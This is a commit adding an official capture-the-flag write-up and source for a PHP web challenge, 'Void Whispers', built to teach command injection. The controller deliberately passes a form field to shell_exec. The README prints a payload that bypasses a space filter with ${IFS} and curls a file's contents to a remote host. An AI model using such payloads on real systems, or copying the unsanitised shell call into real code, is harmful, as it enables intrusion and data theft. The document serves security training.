added official hacktheboo2024 writeups
This commit is contained in:
parent
1f7a9b0566
commit
e3c46450f7
327 changed files with 14303 additions and 0 deletions
26
htb/hacktheboo2024/web/web_void_whispers/Dockerfile
Normal file
26
htb/hacktheboo2024/web/web_void_whispers/Dockerfile
Normal file
|
@ -0,0 +1,26 @@
|
|||
FROM php:alpine
|
||||
|
||||
# Setup user
|
||||
RUN adduser -D -u 1000 -g 1000 -s /bin/sh www
|
||||
|
||||
# Install system packages
|
||||
RUN apk add --no-cache --update curl supervisor nginx php-fpm
|
||||
|
||||
# Configure php-fpm and nginx
|
||||
COPY config/fpm.conf /etc/php83/php-fpm.d/www.conf
|
||||
COPY config/supervisord.conf /etc/supervisord.conf
|
||||
COPY config/nginx.conf /etc/nginx/nginx.conf
|
||||
|
||||
# Copy challenge files
|
||||
COPY challenge /www
|
||||
COPY flag.txt /
|
||||
|
||||
# Setup permissions
|
||||
RUN chown -R www:www /var/lib/nginx
|
||||
RUN chown -R www:www /www
|
||||
|
||||
# Expose the port nginx is listening on
|
||||
EXPOSE 1337
|
||||
|
||||
# Start supervisord
|
||||
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
|
118
htb/hacktheboo2024/web/web_void_whispers/README.md
Normal file
118
htb/hacktheboo2024/web/web_void_whispers/README.md
Normal file
|
@ -0,0 +1,118 @@
|
|||

|
||||
|
||||
|
||||
<img src="assets/htb.png" style="margin-left: 20px; zoom: 80%;" align=left /> <font size="6">Void Whispers</font>
|
||||
20<sup>th</sup> Oct 2024 / Document No. D24.xxx.xxx
|
||||
|
||||
Prepared By: Xclow3n
|
||||
|
||||
Challenge Author: Xclow3n
|
||||
|
||||
Difficulty: <font color=green>Very Easy</font>
|
||||
|
||||
Classification: Official
|
||||
|
||||
|
||||
|
||||
# [Synopsis](#synopsis)
|
||||
|
||||
Void Whispers is a very easy web challenge designed to help players understand and exploit Command Injection.
|
||||
|
||||
# Skills Required
|
||||
- Basic knowledge of PHP
|
||||
|
||||
# Skills Learned
|
||||
- Command Injection
|
||||
|
||||
# [Solution](#Solution)
|
||||
Visiting the home page displays the following interface:
|
||||

|
||||
|
||||
We can update and save the settings:
|
||||

|
||||
|
||||
We are provided with the source code of this application, so let's examine how this functionality works.
|
||||
|
||||
In `IndexController.php`:
|
||||
|
||||
```php
|
||||
class IndexController
|
||||
{
|
||||
private $configFile = 'config.json';
|
||||
private $config;
|
||||
|
||||
public function __construct() {
|
||||
if (file_exists($this->configFile)) {
|
||||
$this->config = json_decode(file_get_contents($this->configFile), true);
|
||||
} else {
|
||||
$this->config = array(
|
||||
'from' => 'Ghostly Support',
|
||||
'email' => 'support@void-whispers.htb',
|
||||
'sendMailPath' => '/usr/sbin/sendmail',
|
||||
'mailProgram' => 'sendmail',
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
... SNIP ...
|
||||
public function updateSetting($router)
|
||||
{
|
||||
$from = $_POST['from'];
|
||||
$mailProgram = $_POST['mailProgram'];
|
||||
$sendMailPath = $_POST['sendMailPath'];
|
||||
$email = $_POST['email'];
|
||||
|
||||
if (empty($from) || empty($mailProgram) || empty($sendMailPath) || empty($email)) {
|
||||
return $router->jsonify(['message' => 'All fields required!', 'status' => 'danger'], 400);
|
||||
}
|
||||
|
||||
if (preg_match('/\s/', $sendMailPath)) {
|
||||
return $router->jsonify(['message' => 'Sendmail path should not contain spaces!', 'status' => 'danger'], 400);
|
||||
}
|
||||
|
||||
$whichOutput = shell_exec("which $sendMailPath");
|
||||
if (empty($whichOutput)) {
|
||||
return $router->jsonify(['message' => 'Binary does not exist!', 'status' => 'danger'], 400);
|
||||
}
|
||||
|
||||
$this->config['from'] = $from;
|
||||
$this->config['mailProgram'] = $mailProgram;
|
||||
$this->config['sendMailPath'] = $sendMailPath;
|
||||
$this->config['email'] = $email;
|
||||
|
||||
file_put_contents($this->configFile, json_encode($this->config));
|
||||
|
||||
return $router->jsonify(['message' => 'Config updated successfully!', 'status' => 'success'], 200);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
This PHP function, `updateSetting`, is responsible for updating email-related configuration settings. It takes user input from a form (`from`, `mailProgram`, `sendMailPath`, and `email`) and performs the following checks:
|
||||
|
||||
1. **Validation**: Ensures all fields are provided and that the `sendMailPath` does not contain spaces.
|
||||
2. **Check for Binary Existence**: Uses `shell_exec` to check if the provided `sendMailPath` exists on the system.
|
||||
3. **Update Configuration**: If validation passes, it updates the configuration file (`$this->configFile`) with the new settings and saves them in JSON format.
|
||||
4. **Response**: Returns success or error messages using the `jsonify` method based on the outcome of the process.
|
||||
|
||||
### Command Injection Vulnerability:
|
||||
The function is vulnerable to **command injection** because the input for `sendMailPath` is passed directly to the shell without being sanitized. This allows an attacker to inject arbitrary commands into the system. However, the check on `sendMailPath` disallows spaces, so we cannot use normal spaces in our payload.
|
||||
|
||||
### `${IFS}` Explanation:
|
||||
`${IFS}` is a special environment variable in Unix-like systems that stands for "Internal Field Separator." It is used by the shell to separate words in a command. The default value of `${IFS}` is a space, newline, and tab. We can exploit this by using `${IFS}` in place of spaces to bypass the space restriction in the command injection.
|
||||
|
||||
### Crafting the Payload:
|
||||
We can craft a payload using `${IFS}` to simulate spaces and inject a malicious command:
|
||||
|
||||
```
|
||||
/usr/sbin/sendmail;curl${IFS}https://[IP]?x=$(cat${IFS}/flag.txt)
|
||||
```
|
||||
|
||||
This payload works as follows:
|
||||
- `/usr/sbin/sendmail` executes as normal.
|
||||
- `curl${IFS}https://[IP]?x=$(cat${IFS}/flag.txt)` uses `${IFS}` in place of spaces to run a `curl` command that exfiltrates the contents of `flag.txt` by sending it to a remote server.
|
||||
|
||||
When saved, this payload provides us with the flag:
|
||||

|
||||
|
||||
This completes the challenge! :)
|
||||
|
BIN
htb/hacktheboo2024/web/web_void_whispers/assets/banner.png
Normal file
BIN
htb/hacktheboo2024/web/web_void_whispers/assets/banner.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 45 KiB |
BIN
htb/hacktheboo2024/web/web_void_whispers/assets/binary.png
Normal file
BIN
htb/hacktheboo2024/web/web_void_whispers/assets/binary.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 903 KiB |
BIN
htb/hacktheboo2024/web/web_void_whispers/assets/flag.png
Normal file
BIN
htb/hacktheboo2024/web/web_void_whispers/assets/flag.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 349 KiB |
BIN
htb/hacktheboo2024/web/web_void_whispers/assets/home.png
Normal file
BIN
htb/hacktheboo2024/web/web_void_whispers/assets/home.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 898 KiB |
BIN
htb/hacktheboo2024/web/web_void_whispers/assets/htb.png
Normal file
BIN
htb/hacktheboo2024/web/web_void_whispers/assets/htb.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 22 KiB |
BIN
htb/hacktheboo2024/web/web_void_whispers/assets/save.png
Normal file
BIN
htb/hacktheboo2024/web/web_void_whispers/assets/save.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 857 KiB |
2
htb/hacktheboo2024/web/web_void_whispers/build-docker.sh
Normal file
2
htb/hacktheboo2024/web/web_void_whispers/build-docker.sh
Normal file
|
@ -0,0 +1,2 @@
|
|||
docker build . -t web_haunted_mailer
|
||||
docker run -it -p 1337:1337 web_haunted_mailer
|
125
htb/hacktheboo2024/web/web_void_whispers/challenge/Router.php
Normal file
125
htb/hacktheboo2024/web/web_void_whispers/challenge/Router.php
Normal file
|
@ -0,0 +1,125 @@
|
|||
<?php
|
||||
class Router
|
||||
{
|
||||
public $routes = [];
|
||||
|
||||
public function new($method, $route, $controller)
|
||||
{
|
||||
$r = [
|
||||
'method' => $method,
|
||||
'route' => $route,
|
||||
];
|
||||
|
||||
if (is_callable($controller))
|
||||
{
|
||||
$r['controller'] = $controller;
|
||||
$this->routes[] = $r;
|
||||
}
|
||||
else if (strpos($controller, '@'))
|
||||
{
|
||||
$split = explode('@', $controller);
|
||||
$class = $split[0];
|
||||
$function = $split[1];
|
||||
|
||||
$r['controller'] = [
|
||||
'class' => $class,
|
||||
'function' => $function
|
||||
];
|
||||
|
||||
$this->routes[] = $r;
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new Exception('Invalid controller');
|
||||
}
|
||||
}
|
||||
|
||||
public function match()
|
||||
{
|
||||
foreach($this->routes as $route)
|
||||
{
|
||||
if ($this->_match_route($route['route']))
|
||||
{
|
||||
if ($route['method'] != $_SERVER['REQUEST_METHOD'])
|
||||
{
|
||||
$this->abort(405);
|
||||
}
|
||||
$params = $this->getRouteParameters($route['route']);
|
||||
|
||||
if (is_array($route['controller']))
|
||||
{
|
||||
$controller = $route['controller'];
|
||||
$class = $controller['class'];
|
||||
$function = $controller['function'];
|
||||
|
||||
return (new $class)->$function($this,$params);
|
||||
}
|
||||
return $route['controller']($this,$params);
|
||||
}
|
||||
}
|
||||
|
||||
$this->abort(404);
|
||||
}
|
||||
|
||||
public function _match_route($route)
|
||||
{
|
||||
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
|
||||
$route = explode('/', $route);
|
||||
|
||||
if (count($uri) != count($route)) return false;
|
||||
|
||||
foreach ($route as $key => $value)
|
||||
{
|
||||
if ($uri[$key] != $value && $value != '{param}') return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public function getRouteParameters($route)
|
||||
{
|
||||
$params = [];
|
||||
$uri = explode('/', strtok($_SERVER['REQUEST_URI'], '?'));
|
||||
$route = explode('/', $route);
|
||||
|
||||
foreach ($route as $key => $value)
|
||||
{
|
||||
if ($uri[$key] == $value) continue;
|
||||
if ($value == '{param}')
|
||||
{
|
||||
if ($uri[$key] == '')
|
||||
{
|
||||
$this->abort(404);
|
||||
}
|
||||
$params[] = $uri[$key];
|
||||
}
|
||||
}
|
||||
|
||||
return $params;
|
||||
}
|
||||
|
||||
public function abort($code)
|
||||
{
|
||||
http_response_code($code);
|
||||
exit;
|
||||
}
|
||||
|
||||
public function view($view, $data = [])
|
||||
{
|
||||
extract($data);
|
||||
include __DIR__."/views/{$view}.php";
|
||||
exit;
|
||||
}
|
||||
|
||||
public function jsonify($body, $code = null)
|
||||
{
|
||||
if ($code) {
|
||||
http_response_code($code);
|
||||
}
|
||||
|
||||
header('Content-Type: application/json; charset=utf-8');
|
||||
echo json_encode($body);
|
||||
|
||||
exit;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,54 @@
|
|||
<?php
|
||||
class IndexController
|
||||
{
|
||||
private $configFile = 'config.json';
|
||||
private $config;
|
||||
|
||||
public function __construct() {
|
||||
if (file_exists($this->configFile)) {
|
||||
$this->config = json_decode(file_get_contents($this->configFile), true);
|
||||
} else {
|
||||
$this->config = array(
|
||||
'from' => 'Ghostly Support',
|
||||
'email' => 'support@void-whispers.htb',
|
||||
'sendMailPath' => '/usr/sbin/sendmail',
|
||||
'mailProgram' => 'sendmail',
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
public function index($router)
|
||||
{
|
||||
$router->view('index', ['config' => $this->config]);
|
||||
}
|
||||
|
||||
public function updateSetting($router)
|
||||
{
|
||||
$from = $_POST['from'];
|
||||
$mailProgram = $_POST['mailProgram'];
|
||||
$sendMailPath = $_POST['sendMailPath'];
|
||||
$email = $_POST['email'];
|
||||
|
||||
if (empty($from) || empty($mailProgram) || empty($sendMailPath) || empty($email)) {
|
||||
return $router->jsonify(['message' => 'All fields required!', 'status' => 'danger'], 400);
|
||||
}
|
||||
|
||||
if (preg_match('/\s/', $sendMailPath)) {
|
||||
return $router->jsonify(['message' => 'Sendmail path should not contain spaces!', 'status' => 'danger'], 400);
|
||||
}
|
||||
|
||||
$whichOutput = shell_exec("which $sendMailPath");
|
||||
if (empty($whichOutput)) {
|
||||
return $router->jsonify(['message' => 'Binary does not exist!', 'status' => 'danger'], 400);
|
||||
}
|
||||
|
||||
$this->config['from'] = $from;
|
||||
$this->config['mailProgram'] = $mailProgram;
|
||||
$this->config['sendMailPath'] = $sendMailPath;
|
||||
$this->config['email'] = $email;
|
||||
|
||||
file_put_contents($this->configFile, json_encode($this->config));
|
||||
|
||||
return $router->jsonify(['message' => 'Config updated successfully!', 'status' => 'success'], 200);
|
||||
}
|
||||
}
|
14
htb/hacktheboo2024/web/web_void_whispers/challenge/index.php
Normal file
14
htb/hacktheboo2024/web/web_void_whispers/challenge/index.php
Normal file
|
@ -0,0 +1,14 @@
|
|||
<?php spl_autoload_register(function ($name) {
|
||||
if (preg_match('/Controller$/', $name)) {
|
||||
$name = "controllers/{$name}";
|
||||
} elseif (preg_match('/Model$/', $name)) {
|
||||
$name = "models/{$name}";
|
||||
}
|
||||
include_once "{$name}.php";
|
||||
});
|
||||
|
||||
$router = new Router();
|
||||
$router->new('GET', '/', 'IndexController@index');
|
||||
$router->new('POST', '/update', 'IndexController@updateSetting');
|
||||
|
||||
die($router->match());
|
12
htb/hacktheboo2024/web/web_void_whispers/challenge/static/css/bootstrap.min.css
vendored
Normal file
12
htb/hacktheboo2024/web/web_void_whispers/challenge/static/css/bootstrap.min.css
vendored
Normal file
File diff suppressed because one or more lines are too long
532
htb/hacktheboo2024/web/web_void_whispers/challenge/static/css/main.css
Executable file
532
htb/hacktheboo2024/web/web_void_whispers/challenge/static/css/main.css
Executable file
|
@ -0,0 +1,532 @@
|
|||
html {
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
overflow: hidden;
|
||||
scroll: none;
|
||||
}
|
||||
|
||||
body {
|
||||
background-color: #2F5363;
|
||||
*zoom: 1;
|
||||
filter: progid:DXImageTransform.Microsoft.gradient(gradientType=1, startColorstr='#FF2F5363', endColorstr='#FF1B2628');
|
||||
background-image: url('data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4gPHN2ZyB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGRlZnM+PHJhZGlhbEdyYWRpZW50IGlkPSJncmFkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgY3g9IjUwJSIgY3k9IiIgcj0iODAlIj48c3RvcCBvZmZzZXQ9IjAlIiBzdG9wLWNvbG9yPSIjMmY1MzYzIi8+PHN0b3Agb2Zmc2V0PSI4MCUiIHN0b3AtY29sb3I9IiMxYjI2MjgiLz48L3JhZGlhbEdyYWRpZW50PjwvZGVmcz48cmVjdCB4PSIwIiB5PSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiBmaWxsPSJ1cmwoI2dyYWQpIiAvPjwvc3ZnPiA=');
|
||||
background-size: 100%;
|
||||
background-image: -moz-radial-gradient(center, ellipse cover, #2f5363 0%, #1b2628 80%);
|
||||
background-image: -webkit-radial-gradient(center, ellipse cover, #2f5363 0%, #1b2628 80%);
|
||||
background-image: radial-gradient(ellipse cover at center, #2f5363 0%, #1b2628 80%);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
[class*="spider"] {
|
||||
position: absolute;
|
||||
height: 40px;
|
||||
width: 50px;
|
||||
-moz-border-radius: 50%;
|
||||
-webkit-border-radius: 50%;
|
||||
border-radius: 50%;
|
||||
margin: 40px 0 0 0;
|
||||
background: #110D04;
|
||||
}
|
||||
[class*="spider"] *, [class*="spider"]:before, [class*="spider"]:after, [class*="spider"] :after, [class*="spider"] :before {
|
||||
position: absolute;
|
||||
content: "";
|
||||
}
|
||||
[class*="spider"]:before {
|
||||
width: 1px;
|
||||
background: #AAAAAA;
|
||||
left: 50%;
|
||||
top: -320px;
|
||||
height: 320px;
|
||||
}
|
||||
[class*="spider"] .eye {
|
||||
top: 16px;
|
||||
height: 14px;
|
||||
width: 12px;
|
||||
background: #FFFFFF;
|
||||
-moz-border-radius: 50%;
|
||||
-webkit-border-radius: 50%;
|
||||
border-radius: 50%;
|
||||
}
|
||||
[class*="spider"] .eye:after {
|
||||
top: 6px;
|
||||
height: 5px;
|
||||
width: 5px;
|
||||
-moz-border-radius: 50%;
|
||||
-webkit-border-radius: 50%;
|
||||
border-radius: 50%;
|
||||
background: black;
|
||||
}
|
||||
[class*="spider"] .eye.left {
|
||||
left: 14px;
|
||||
}
|
||||
[class*="spider"] .eye.left:after {
|
||||
right: 3px;
|
||||
}
|
||||
[class*="spider"] .eye.right {
|
||||
right: 14px;
|
||||
}
|
||||
[class*="spider"] .eye.right:after {
|
||||
left: 3px;
|
||||
}
|
||||
[class*="spider"] .leg {
|
||||
top: 6px;
|
||||
height: 12px;
|
||||
width: 14px;
|
||||
border-top: 2px solid #110D04;
|
||||
border-left: 1px solid transparent;
|
||||
border-right: 1px solid transparent;
|
||||
border-bottom: 1px solid transparent;
|
||||
z-index: -1;
|
||||
}
|
||||
[class*="spider"] .leg.left {
|
||||
left: -8px;
|
||||
-moz-transform-origin: top right;
|
||||
-ms-transform-origin: top right;
|
||||
-webkit-transform-origin: top right;
|
||||
transform-origin: top right;
|
||||
-moz-transform: rotate(36deg) skewX(-20deg);
|
||||
-ms-transform: rotate(36deg) skewX(-20deg);
|
||||
-webkit-transform: rotate(36deg) skewX(-20deg);
|
||||
transform: rotate(36deg) skewX(-20deg);
|
||||
border-left: 2px solid #110D04;
|
||||
-moz-border-radius: 60% 0 0 0;
|
||||
-webkit-border-radius: 60%;
|
||||
border-radius: 60% 0 0 0;
|
||||
-moz-animation: legs-wriggle-left 1s 0s infinite;
|
||||
-webkit-animation: legs-wriggle-left 1s 0s infinite;
|
||||
animation: legs-wriggle-left 1s 0s infinite;
|
||||
}
|
||||
[class*="spider"] .leg.right {
|
||||
right: -8px;
|
||||
-moz-transform-origin: top left;
|
||||
-ms-transform-origin: top left;
|
||||
-webkit-transform-origin: top left;
|
||||
transform-origin: top left;
|
||||
-moz-transform: rotate(-36deg) skewX(20deg);
|
||||
-ms-transform: rotate(-36deg) skewX(20deg);
|
||||
-webkit-transform: rotate(-36deg) skewX(20deg);
|
||||
transform: rotate(-36deg) skewX(20deg);
|
||||
border-right: 2px solid #110D04;
|
||||
-moz-border-radius: 0 60% 0 0;
|
||||
-webkit-border-radius: 0;
|
||||
border-radius: 0 60% 0 0;
|
||||
-moz-animation: legs-wriggle-right 1s 0.2s infinite;
|
||||
-webkit-animation: legs-wriggle-right 1s 0.2s infinite;
|
||||
animation: legs-wriggle-right 1s 0.2s infinite;
|
||||
}
|
||||
[class*="spider"] .leg:nth-of-type(2) {
|
||||
top: 14px;
|
||||
left: -11px;
|
||||
-moz-animation: legs-wriggle-left 1s 0.8s infinite;
|
||||
-webkit-animation: legs-wriggle-left 1s 0.8s infinite;
|
||||
animation: legs-wriggle-left 1s 0.8s infinite;
|
||||
}
|
||||
[class*="spider"] .leg:nth-of-type(3) {
|
||||
top: 22px;
|
||||
left: -12px;
|
||||
-moz-animation: legs-wriggle-left 1s 0.2s infinite;
|
||||
-webkit-animation: legs-wriggle-left 1s 0.2s infinite;
|
||||
animation: legs-wriggle-left 1s 0.2s infinite;
|
||||
}
|
||||
[class*="spider"] .leg:nth-of-type(4) {
|
||||
top: 31px;
|
||||
left: -10px;
|
||||
-moz-animation: legs-wriggle-left 1s 0.4s infinite;
|
||||
-webkit-animation: legs-wriggle-left 1s 0.4s infinite;
|
||||
animation: legs-wriggle-left 1s 0.4s infinite;
|
||||
}
|
||||
[class*="spider"] .leg:nth-of-type(6) {
|
||||
top: 14px;
|
||||
right: -11px;
|
||||
-moz-animation: legs-wriggle-right 1s 0.4s infinite;
|
||||
-webkit-animation: legs-wriggle-right 1s 0.4s infinite;
|
||||
animation: legs-wriggle-right 1s 0.4s infinite;
|
||||
}
|
||||
[class*="spider"] .leg:nth-of-type(7) {
|
||||
top: 22px;
|
||||
right: -12px;
|
||||
-moz-animation: legs-wriggle-right 1s 0.7s infinite;
|
||||
-webkit-animation: legs-wriggle-right 1s 0.7s infinite;
|
||||
animation: legs-wriggle-right 1s 0.7s infinite;
|
||||
}
|
||||
[class*="spider"] .leg:nth-of-type(8) {
|
||||
top: 31px;
|
||||
right: -10px;
|
||||
-moz-animation: legs-wriggle-right 1s 0.3s infinite;
|
||||
-webkit-animation: legs-wriggle-right 1s 0.3s infinite;
|
||||
animation: legs-wriggle-right 1s 0.3s infinite;
|
||||
}
|
||||
|
||||
.spider_0 {
|
||||
left: 5%;
|
||||
-moz-animation: spider-move-0 5s infinite;
|
||||
-webkit-animation: spider-move-0 5s infinite;
|
||||
animation: spider-move-0 5s infinite;
|
||||
}
|
||||
|
||||
.spider_1 {
|
||||
left: 20%;
|
||||
-moz-animation: spider-move-1 5s infinite;
|
||||
-webkit-animation: spider-move-1 5s infinite;
|
||||
animation: spider-move-1 5s infinite;
|
||||
}
|
||||
|
||||
.spider_2 {
|
||||
left: 35%;
|
||||
-moz-animation: spider-move-2 5s infinite;
|
||||
-webkit-animation: spider-move-2 5s infinite;
|
||||
animation: spider-move-2 5s infinite;
|
||||
}
|
||||
|
||||
.spider_3 {
|
||||
right: 35%;
|
||||
margin-top: 160px;
|
||||
-moz-animation: spider-move-3 5s infinite;
|
||||
-webkit-animation: spider-move-3 5s infinite;
|
||||
animation: spider-move-3 5s infinite;
|
||||
}
|
||||
|
||||
.spider_4 {
|
||||
right: 20%;
|
||||
margin-top: 50px;
|
||||
-moz-animation: spider-move-4 5s infinite;
|
||||
-webkit-animation: spider-move-4 5s infinite;
|
||||
animation: spider-move-4 5s infinite;
|
||||
}
|
||||
|
||||
.spider_5 {
|
||||
right: 5%;
|
||||
margin-top: 210px;
|
||||
-moz-animation: spider-move-5 5s infinite;
|
||||
-webkit-animation: spider-move-5 5s infinite;
|
||||
animation: spider-move-5 5s infinite;
|
||||
}
|
||||
|
||||
h1 {
|
||||
position: absolute;
|
||||
left: 6%;
|
||||
bottom: 12%;
|
||||
font-family: 'Eater', cursive;
|
||||
font-size: 8.5vw;
|
||||
color: #111111;
|
||||
-moz-animation: flicker 4s 0s infinite;
|
||||
-webkit-animation: flicker 4s 0s infinite;
|
||||
animation: flicker 4s 0s infinite;
|
||||
}
|
||||
|
||||
.web-right {
|
||||
position: absolute;
|
||||
height: 200px;
|
||||
width: auto;
|
||||
right: -10px;
|
||||
top: -10px;
|
||||
z-index: -1;
|
||||
opacity: 0.2;
|
||||
}
|
||||
|
||||
.web-left {
|
||||
position: absolute;
|
||||
left: -10px;
|
||||
top: -10px;
|
||||
-moz-transform: rotate(-90deg);
|
||||
-ms-transform: rotate(-90deg);
|
||||
-webkit-transform: rotate(-90deg);
|
||||
transform: rotate(-90deg);
|
||||
z-index: -1;
|
||||
opacity: 0.2;
|
||||
}
|
||||
|
||||
@-moz-keyframes flicker {
|
||||
0%, 6%, 12% {
|
||||
text-shadow: none;
|
||||
color: #111111;
|
||||
}
|
||||
3%, 9% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6);
|
||||
color: #fa6701;
|
||||
}
|
||||
60% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
|
||||
color: #fa6701;
|
||||
}
|
||||
100% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
|
||||
color: #fa6701;
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes flicker {
|
||||
0%, 6%, 12% {
|
||||
text-shadow: none;
|
||||
color: #111111;
|
||||
}
|
||||
3%, 9% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6);
|
||||
color: #fa6701;
|
||||
}
|
||||
60% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
|
||||
color: #fa6701;
|
||||
}
|
||||
100% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
|
||||
color: #fa6701;
|
||||
}
|
||||
}
|
||||
@keyframes flicker {
|
||||
0%, 6%, 12% {
|
||||
text-shadow: none;
|
||||
color: #111111;
|
||||
}
|
||||
3%, 9% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6);
|
||||
color: #fa6701;
|
||||
}
|
||||
60% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
|
||||
color: #fa6701;
|
||||
}
|
||||
100% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
|
||||
color: #fa6701;
|
||||
}
|
||||
}
|
||||
@-moz-keyframes legs-wriggle-left {
|
||||
0%, 100% {
|
||||
-moz-transform: rotate(36deg) skewX(-20deg);
|
||||
transform: rotate(36deg) skewX(-20deg);
|
||||
}
|
||||
25%, 75% {
|
||||
-moz-transform: rotate(15deg) skewX(-20deg);
|
||||
transform: rotate(15deg) skewX(-20deg);
|
||||
}
|
||||
50% {
|
||||
-moz-transform: rotate(45deg) skewX(-20deg);
|
||||
transform: rotate(45deg) skewX(-20deg);
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes legs-wriggle-left {
|
||||
0%, 100% {
|
||||
-webkit-transform: rotate(36deg) skewX(-20deg);
|
||||
transform: rotate(36deg) skewX(-20deg);
|
||||
}
|
||||
25%, 75% {
|
||||
-webkit-transform: rotate(15deg) skewX(-20deg);
|
||||
transform: rotate(15deg) skewX(-20deg);
|
||||
}
|
||||
50% {
|
||||
-webkit-transform: rotate(45deg) skewX(-20deg);
|
||||
transform: rotate(45deg) skewX(-20deg);
|
||||
}
|
||||
}
|
||||
@keyframes legs-wriggle-left {
|
||||
0%, 100% {
|
||||
-moz-transform: rotate(36deg) skewX(-20deg);
|
||||
-ms-transform: rotate(36deg) skewX(-20deg);
|
||||
-webkit-transform: rotate(36deg) skewX(-20deg);
|
||||
transform: rotate(36deg) skewX(-20deg);
|
||||
}
|
||||
25%, 75% {
|
||||
-moz-transform: rotate(15deg) skewX(-20deg);
|
||||
-ms-transform: rotate(15deg) skewX(-20deg);
|
||||
-webkit-transform: rotate(15deg) skewX(-20deg);
|
||||
transform: rotate(15deg) skewX(-20deg);
|
||||
}
|
||||
50% {
|
||||
-moz-transform: rotate(45deg) skewX(-20deg);
|
||||
-ms-transform: rotate(45deg) skewX(-20deg);
|
||||
-webkit-transform: rotate(45deg) skewX(-20deg);
|
||||
transform: rotate(45deg) skewX(-20deg);
|
||||
}
|
||||
}
|
||||
@-moz-keyframes legs-wriggle-right {
|
||||
0%, 100% {
|
||||
-moz-transform: rotate(-36deg) skewX(20deg);
|
||||
transform: rotate(-36deg) skewX(20deg);
|
||||
}
|
||||
25%, 75% {
|
||||
-moz-transform: rotate(-15deg) skewX(20deg);
|
||||
transform: rotate(-15deg) skewX(20deg);
|
||||
}
|
||||
50% {
|
||||
-moz-transform: rotate(-45deg) skewX(20deg);
|
||||
transform: rotate(-45deg) skewX(20deg);
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes legs-wriggle-right {
|
||||
0%, 100% {
|
||||
-webkit-transform: rotate(-36deg) skewX(20deg);
|
||||
transform: rotate(-36deg) skewX(20deg);
|
||||
}
|
||||
25%, 75% {
|
||||
-webkit-transform: rotate(-15deg) skewX(20deg);
|
||||
transform: rotate(-15deg) skewX(20deg);
|
||||
}
|
||||
50% {
|
||||
-webkit-transform: rotate(-45deg) skewX(20deg);
|
||||
transform: rotate(-45deg) skewX(20deg);
|
||||
}
|
||||
}
|
||||
@keyframes legs-wriggle-right {
|
||||
0%, 100% {
|
||||
-moz-transform: rotate(-36deg) skewX(20deg);
|
||||
-ms-transform: rotate(-36deg) skewX(20deg);
|
||||
-webkit-transform: rotate(-36deg) skewX(20deg);
|
||||
transform: rotate(-36deg) skewX(20deg);
|
||||
}
|
||||
25%, 75% {
|
||||
-moz-transform: rotate(-15deg) skewX(20deg);
|
||||
-ms-transform: rotate(-15deg) skewX(20deg);
|
||||
-webkit-transform: rotate(-15deg) skewX(20deg);
|
||||
transform: rotate(-15deg) skewX(20deg);
|
||||
}
|
||||
50% {
|
||||
-moz-transform: rotate(-45deg) skewX(20deg);
|
||||
-ms-transform: rotate(-45deg) skewX(20deg);
|
||||
-webkit-transform: rotate(-45deg) skewX(20deg);
|
||||
transform: rotate(-45deg) skewX(20deg);
|
||||
}
|
||||
}
|
||||
@-moz-keyframes spider-move-0 {
|
||||
0%, 100% {
|
||||
margin-top: 80px;
|
||||
}
|
||||
66% {
|
||||
margin-top: calc(80px + 76px);
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes spider-move-0 {
|
||||
0%, 100% {
|
||||
margin-top: 80px;
|
||||
}
|
||||
66% {
|
||||
margin-top: calc(80px + 76px);
|
||||
}
|
||||
}
|
||||
@keyframes spider-move-0 {
|
||||
0%, 100% {
|
||||
margin-top: 80px;
|
||||
}
|
||||
66% {
|
||||
margin-top: calc(80px + 76px);
|
||||
}
|
||||
}
|
||||
@-moz-keyframes spider-move-1 {
|
||||
0%, 100% {
|
||||
margin-top: 178px;
|
||||
}
|
||||
57% {
|
||||
margin-top: calc(178px + 28px);
|
||||
}
|
||||
}
|
||||
